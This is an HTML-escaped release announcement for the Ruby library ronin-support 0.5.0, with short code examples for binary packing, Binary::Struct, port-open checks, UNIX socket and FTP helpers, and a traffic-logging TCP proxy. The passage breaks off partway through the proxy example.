&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5:&lt;/strong&gt; &lt;code&gt;d3a3ea9c59f73abb274be8705160f1a2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA1:&lt;/strong&gt; &lt;code&gt;f4a186f9772c2b8bf6807192a0740f3148c81e71&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/downloads/ronin-ruby/ronin-gen/ronin-gen-1.2.0.gem.asc&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Whats New?&lt;/h2&gt;

&lt;h3&gt;pack / unpack&lt;/h3&gt;

&lt;p&gt;Special &lt;code&gt;pack&lt;/code&gt; / &lt;code&gt;unpack&lt;/code&gt; methods were added to &lt;a href=&quot;&quot;&gt;String&lt;/a&gt;,
&lt;a href=&quot;/docs/ronin-support/Integer.html#pack-instance_method&quot;&gt;Integer&lt;/a&gt;, &lt;a href=&quot;/docs/ronin-support/Float.html#pack-instance_method&quot;&gt;Float&lt;/a&gt; and &lt;a href=&quot;/docs/ronin-support/Array.html#pack-instance_method&quot;&gt;Array&lt;/a&gt;
classes. Unlike the normal &lt;a href=&quot;http://rubydoc.info/stdlib/core/Array#pack-instance_method&quot;&gt;Array#pack&lt;/a&gt; / &lt;a href=&quot;http://rubydoc.info/stdlib/core/String#unpack-instance_method&quot;&gt;String#unpack&lt;/a&gt; methods,
these methods accept C-types:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;hello&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:uint16_be&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;\x00\x05hello\x00&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;You can even specify the lengths of fields with &lt;a href=&quot;/docs/ronin-support/Array.html#pack-instance_method&quot;&gt;Array#pack&lt;/a&gt; and&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;hello&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:uint8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;\x01\x02\x03\x04hello\x00&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;For a complete list of supported types, please see the documentation for
&lt;a href=&quot;/docs/ronin-support/Ronin/Binary/Template.html&quot;&gt;Binary::Template&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Binary::Template&lt;/h3&gt;

&lt;p&gt;The way we implemented the fancy &lt;code&gt;pack&lt;/code&gt; / &lt;code&gt;unpack&lt;/code&gt; methods, was to create a
template (&lt;a href=&quot;/docs/ronin-support/Ronin/Binary/Template.html&quot;&gt;Binary::Template&lt;/a&gt;) which translates C-types to Ruby &lt;a href=&quot;http://rubydoc.info/stdlib/core/Array#pack-instance_method&quot;&gt;pack codes&lt;/a&gt;.
Using &lt;a href=&quot;/docs/ronin-support/Ronin/Binary/Template.html&quot;&gt;Binary::Template&lt;/a&gt; you can create reusable binary templates for packing
and unpacking data.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Template&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:uint16_be&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;hello&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;\x00\x05hello\x00&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x05&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hello&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; [5, &amp;quot;hello&amp;quot;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Binary::Struct&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/Ronin/Binary/Struct.html&quot;&gt;Binary::Struct&lt;/a&gt; was also added to ronin-support 0.5.0. It is similar to
&lt;a href=&quot;http://metafuzz.rubyforge.org/binstruct/&quot;&gt;BinStruct&lt;/a&gt;, but provides the same API as &lt;a href=&quot;https://github.com/ffi/ffi/wiki/Structs&quot;&gt;FFI::Struct&lt;/a&gt;. It supports
typedefs, Array fields, nested-Structs and overriding reader/writer methods
of fields.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;ronin/binary/struct&amp;#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Struct&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;endian&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:network&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;layout&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:uint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;ss&quot;&gt;:data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:uchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pkt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Packet&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pkt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pkt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pkt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;\x00\x00\x00\x05hello\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;new_pkt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Packet&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;Packet: length: 5, data: &amp;quot;hello&amp;quot;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;tcp_open? / udp_open?&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;/docs/ronin-support/Ronin/Network/TCP.html#tcp_open%3F-instance_method&quot;&gt;tcp_open?&lt;/a&gt; and &lt;a href=&quot;/docs/ronin-support/Ronin/Network/UDP.html#udp_open%3F-instance_method&quot;&gt;udp_open?&lt;/a&gt;
methods were added to ronin-support 0.5.0. These methods perform basic tests
to determine if a TCP / UDP port is open.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;tcp_open?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;example.com&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;udp_open?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;4.2.2.1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Network::UNIX&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/Ronin/Network/UNIX.html&quot;&gt;Network::UNIX&lt;/a&gt; was added to help communicating with UNIX sockets.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;unix_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;/tmp/haproxy.stats.socket&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;UNIXSocket:...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;unix_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;/tmp/haproxy.stats.socket&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;show stat&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readlines&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;unix_accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;/tmp/race_condition.socket&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;sockets&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Network::FTP&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/Ronin/Network/FTP.html&quot;&gt;Network::FTP&lt;/a&gt; was added to provide the same helper methods as &lt;a href=&quot;/docs/ronin-support/Ronin/Network/IMAP.html&quot;&gt;Network::IMAP&lt;/a&gt;,
but for communicating with FTP Servers.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;ftp_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;www.example.com&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;joe&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;secret&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;Net::FTP:...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;ftp_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;ftp.kernel.org&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ftp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;/pub&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Network::TCP::Proxy / Network::UDP::Proxy&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/Ronin/Network/TCP/Proxy.html&quot;&gt;Network::TCP::Proxy&lt;/a&gt; and &lt;a href=&quot;/docs/ronin-support/Ronin/Network/UDP/Proxy.html&quot;&gt;Network::UDP::Proxy&lt;/a&gt; were added as well. Finally,
you can create simple evented TCP/UDP proxies, to intercept or rewrite
messages.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;ronin/network/tcp/proxy&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;hexdump&amp;#39;&lt;/span&gt;

&lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Network&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;TCP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1337&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:server&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;www.wired.com&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;addrinfo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;peeraddr&lt;/span&gt;
   &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addrinfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addrinfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Hexdump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Dumper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_client_data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; -&amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_client_connect&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; -&amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; [connected]&amp;quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;on_client_disconnect&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
